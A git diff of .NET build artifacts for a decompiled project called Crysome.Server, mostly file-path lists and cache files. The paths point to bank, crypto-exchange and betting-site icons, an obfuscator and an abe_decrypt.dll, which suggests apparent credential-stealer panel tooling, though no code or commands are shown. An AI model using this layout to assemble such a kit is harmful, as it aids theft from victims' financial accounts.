+C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\citibank.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\coinbase_bank.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\kraken.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\paypal.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\robinhood.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\usbank.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\venmo.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\wellsfargo.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\1xbet.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\22bet.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\888casino.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\bet365.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\bet9ja.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\betano.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\betfair.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\betmgm.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\betonline.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\betsson.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\betway.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\bovada.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\caesars.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\casumo.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\draftkings.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\fanduel.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\ignitioncasino.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\jackpot_city.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\leovegas.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\lucky_nugget.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\partycasino.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\pokerstars.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\ruby_fortune.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\spin_casino.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\unibet.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\william_hill.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.exe +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.runtimeconfig.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\Crysome.Server.csproj.AssemblyReference.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\Crysome.Server.Resources.Strings.resources +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\Crysome.Server.csproj.GenerateResource.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\Crysome.Server.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\Crysome.Server.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\Crysome.Server.csproj.Fody.CopyLocal.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\Crysome.Server.csproj.Fody.RuntimeCopyLocal.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\Crysome..7D0EE3F5.Up2Date +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\Crysome.Server.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\refint\Crysome.Server.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\Crysome.Server.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\Crysome.Server.genruntimeconfig.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\ref\Crysome.Server.dll diff --git a/Crysome.Server/obj/Release/Crysome.Server.csproj.Fody.CopyLocal.cache b/Crysome.Server/obj/Release/Crysome.Server.csproj.Fody.CopyLocal.cache new file mode 100644 index 0000000..b146378 --- /dev/null +++ b/Crysome.Server/obj/Release/Crysome.Server.csproj.Fody.CopyLocal.cache @@ -0,0 +1,3 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Common.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.Core.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Obfuscator.pdb diff --git a/Crysome.Server/obj/Release/Crysome.Server.csproj.Fody.RuntimeCopyLocal.cache b/Crysome.Server/obj/Release/Crysome.Server.csproj.Fody.RuntimeCopyLocal.cache new file mode 100644 index 0000000..da25d40 --- /dev/null +++ b/Crysome.Server/obj/Release/Crysome.Server.csproj.Fody.RuntimeCopyLocal.cache @@ -0,0 +1,37 @@ +C:\Users\lukas\.nuget\packages\dnlib\4.5.0\lib\net6.0\dnlib.dll +C:\Users\lukas\.nuget\packages\microsoft.win32.registry\4.7.0\lib\netstandard2.0\Microsoft.Win32.Registry.dll +C:\Users\lukas\.nuget\packages\microsoft.win32.systemevents\9.0.0\lib\net9.0\Microsoft.Win32.SystemEvents.dll +C:\Users\lukas\.nuget\packages\naudio\2.2.1\lib\net6.0-windows7.0\NAudio.dll +C:\Users\lukas\.nuget\packages\naudio.asio\2.2.1\lib\netstandard2.0\NAudio.Asio.dll +C:\Users\lukas\.nuget\packages\naudio.core\2.2.1\lib\netstandard2.0\NAudio.Core.dll +C:\Users\lukas\.nuget\packages\naudio.midi\2.2.1\lib\netstandard2.0\NAudio.Midi.dll +C:\Users\lukas\.nuget\packages\naudio.wasapi\2.2.1\lib\netstandard2.0\NAudio.Wasapi.dll +C:\Users\lukas\.nuget\packages\naudio.winforms\2.2.1\lib\netcoreapp3.1\NAudio.WinForms.dll +C:\Users\lukas\.nuget\packages\naudio.winmm\2.2.1\lib\netstandard2.0\NAudio.WinMM.dll +C:\Users\lukas\.nuget\packages\system.appcontext\4.3.0\lib\netstandard1.6\System.AppContext.dll +C:\Users\lukas\.nuget\packages\system.buffers\4.3.0\lib\netstandard1.1\System.Buffers.dll +C:\Users\lukas\.nuget\packages\system.collections.concurrent\4.3.0\lib\netstandard1.3\System.Collections.Concurrent.dll +C:\Users\lukas\.nuget\packages\system.diagnostics.diagnosticsource\4.3.0\lib\netstandard1.3\System.Diagnostics.DiagnosticSource.dll +C:\Users\lukas\.nuget\packages\system.drawing.common\9.0.0\lib\net9.0\System.Drawing.Common.dll +C:\Users\lukas\.nuget\packages\system.drawing.common\9.0.0\lib\net9.0\System.Private.Windows.Core.dll +C:\Users\lukas\.nuget\packages\system.io.compression.zipfile\4.3.0\lib\netstandard1.3\System.IO.Compression.ZipFile.dll +C:\Users\lukas\.nuget\packages\system.io.filesystem.primitives\4.3.0\lib\netstandard1.3\System.IO.FileSystem.Primitives.dll +C:\Users\lukas\.nuget\packages\system.linq\4.3.0\lib\netstandard1.6\System.Linq.dll +C:\Users\lukas\.nuget\packages\system.linq.expressions\4.3.0\lib\netstandard1.6\System.Linq.Expressions.dll +C:\Users\lukas\.nuget\packages\system.objectmodel\4.3.0\lib\netstandard1.3\System.ObjectModel.dll +C:\Users\lukas\.nuget\packages\system.reflection.emit\4.3.0\lib\netstandard1.3\System.Reflection.Emit.dll +C:\Users\lukas\.nuget\packages\system.reflection.emit.ilgeneration\4.3.0\lib\netstandard1.3\System.Reflection.Emit.ILGeneration.dll +C:\Users\lukas\.nuget\packages\system.reflection.emit.lightweight\4.3.0\lib\netstandard1.3\System.Reflection.Emit.Lightweight.dll +C:\Users\lukas\.nuget\packages\system.reflection.typeextensions\4.3.0\lib\netstandard1.5\System.Reflection.TypeExtensions.dll +C:\Users\lukas\.nuget\packages\system.runtime.interopservices.runtimeinformation\4.3.0\lib\netstandard1.1\System.Runtime.InteropServices.RuntimeInformation.dll +C:\Users\lukas\.nuget\packages\system.runtime.numerics\4.3.0\lib\netstandard1.3\System.Runtime.Numerics.dll +C:\Users\lukas\.nuget\packages\system.security.accesscontrol\4.7.0\lib\netstandard2.0\System.Security.AccessControl.dll +C:\Users\lukas\.nuget\packages\system.security.cryptography.openssl\4.3.0\lib\netstandard1.6\System.Security.Cryptography.OpenSsl.dll +C:\Users\lukas\.nuget\packages\system.security.cryptography.primitives\4.3.0\lib\netstandard1.3\System.Security.Cryptography.Primitives.dll +C:\Users\lukas\.nuget\packages\system.security.principal.windows\4.7.0\lib\netstandard2.0\System.Security.Principal.Windows.dll +C:\Users\lukas\.nuget\packages\system.text.regularexpressions\4.3.0\lib\netstandard1.6\System.Text.RegularExpressions.dll +C:\Users\lukas\.nuget\packages\system.threading\4.3.0\lib\netstandard1.3\System.Threading.dll +C:\Users\lukas\.nuget\packages\system.threading.tasks.extensions\4.3.0\lib\netstandard1.0\System.Threading.Tasks.Extensions.dll +C:\Users\lukas\.nuget\packages\system.xml.readerwriter\4.3.0\lib\netstandard1.3\System.Xml.ReaderWriter.dll +C:\Users\lukas\.nuget\packages\system.xml.xdocument\4.3.0\lib\netstandard1.3\System.Xml.XDocument.dll +C:\Users\lukas\.nuget\packages\vestris.resourcelib\2.2.0\lib\netstandard2.0\Vestris.ResourceLib.dll diff --git a/Crysome.Server/obj/Release/Crysome.Server.csproj.GenerateResource.cache b/Crysome.Server/obj/Release/Crysome.Server.csproj.GenerateResource.cache new file mode 100644 index 0000000..6291c76 Binary files /dev/null and b/Crysome.Server/obj/Release/Crysome.Server.csproj.GenerateResource.cache differ diff --git a/Crysome.Server/obj/Release/Crysome.Server.dll b/Crysome.Server/obj/Release/Crysome.Server.dll new file mode 100644 index 0000000..07aec2d Binary files /dev/null and b/Crysome.Server/obj/Release/Crysome.Server.dll differ diff --git a/Crysome.Server/obj/Release/Crysome.Server.genruntimeconfig.cache b/Crysome.Server/obj/Release/Crysome.Server.genruntimeconfig.cache new file mode 100644 index 0000000..99f2ad4 --- /dev/null +++ b/Crysome.Server/obj/Release/Crysome.Server.genruntimeconfig.cache @@ -0,0 +1 @@ +c2c9f7eab5eee648598c7f8aea392fe1bca4fda7bf876becf7918c08892de78c diff --git a/Crysome.Server/obj/Release/Crysome.Server.pdb b/Crysome.Server/obj/Release/Crysome.Server.pdb new file mode 100644 index 0000000..7c1c19c Binary files /dev/null and b/Crysome.Server/obj/Release/Crysome.Server.pdb differ diff --git a/Crysome.Server/obj/Release/apphost.exe b/Crysome.Server/obj/Release/apphost.exe new file mode 100644 index 0000000..7fd2144 Binary files /dev/null and b/Crysome.Server/obj/Release/apphost.exe differ diff --git a/Crysome.Server/obj/Release/ref/Crysome.Server.dll b/Crysome.Server/obj/Release/ref/Crysome.Server.dll new file mode 100644 index 0000000..f7604e1 Binary files /dev/null and b/Crysome.Server/obj/Release/ref/Crysome.Server.dll differ diff --git a/Crysome.Server/obj/Release/refint/Crysome.Server.dll b/Crysome.Server/obj/Release/refint/Crysome.Server.dll new file mode 100644 index 0000000..f7604e1 Binary files /dev/null and b/Crysome.Server/obj/Release/refint/Crysome.Server.dll differ diff --git a/Crysome.Server/obj/Release/win-x64/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs b/Crysome.Server/obj/Release/win-x64/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs new file mode 100644 index 0000000..ea1f2ea --- /dev/null +++ b/Crysome.Server/obj/Release/win-x64/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")] diff --git a/Crysome.Server/obj/Release/win-x64/Crysome..7D0EE3F5.Up2Date b/Crysome.Server/obj/Release/win-x64/Crysome..7D0EE3F5.Up2Date new file mode 100644 index 0000000..e69de29 diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.Crysome.Server.Resources.Strings.resources b/Crysome.Server/obj/Release/win-x64/Crysome.Server.Crysome.Server.Resources.Strings.resources new file mode 100644 index 0000000..60ed930 Binary files /dev/null and b/Crysome.Server/obj/Release/win-x64/Crysome.Server.Crysome.Server.Resources.Strings.resources differ diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Server/obj/Release/win-x64/Crysome.Server.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..0cdc3e2 --- /dev/null +++ b/Crysome.Server/obj/Release/win-x64/Crysome.Server.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,22 @@ +is_global = true +build_property.EnableAotAnalyzer = +build_property.EnableSingleFileAnalyzer = true +build_property.EnableTrimAnalyzer = +build_property.IncludeAllContentForSelfExtract = true +build_property.TargetFramework = net9.0-windows +build_property.TargetFrameworkIdentifier = .NETCoreApp +build_property.TargetFrameworkVersion = v9.0 +build_property.TargetPlatformMinVersion = 7.0 +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = Crysome.Server +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = 9.0 +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.assets.cache b/Crysome.Server/obj/Release/win-x64/Crysome.Server.assets.cache new file mode 100644 index 0000000..4d049f7 Binary files /dev/null and b/Crysome.Server/obj/Release/win-x64/Crysome.Server.assets.cache differ diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.csproj.AssemblyReference.cache b/Crysome.Server/obj/Release/win-x64/Crysome.Server.csproj.AssemblyReference.cache new file mode 100644 index 0000000..f68dcda Binary files /dev/null and b/Crysome.Server/obj/Release/win-x64/Crysome.Server.csproj.AssemblyReference.cache differ diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.csproj.CoreCompileInputs.cache b/Crysome.Server/obj/Release/win-x64/Crysome.Server.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..afd58e2 --- /dev/null +++ b/Crysome.Server/obj/Release/win-x64/Crysome.Server.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +25e894bb7c3776b910cac5d551695259f9218dbbd6d6a5336f8d99b6423ea1b1 diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.csproj.FileListAbsolute.txt b/Crysome.Server/obj/Release/win-x64/Crysome.Server.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..f4d4991 --- /dev/null +++ b/Crysome.Server/obj/Release/win-x64/Crysome.Server.csproj.FileListAbsolute.txt @@ -0,0 +1,854 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\abe_decrypt.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AD.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AD@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AD@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AF.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AF@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AF@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AI.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AI@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AI@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AL.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AL@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AL@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AO.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AO@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AO@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AR.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AR@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AR@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AS.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AS@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AS@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AT.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AT@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AT@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AU.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AU@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AU@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AW@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AW@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AX.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AX@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AX@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AZ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AZ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\AZ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BB.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BB@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BB@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BD.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BD@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BD@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BF.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BF@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BF@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BH.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BH@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BH@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BI.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BI@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BI@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BJ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BJ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BJ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BL.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BL@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BL@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\BN.png 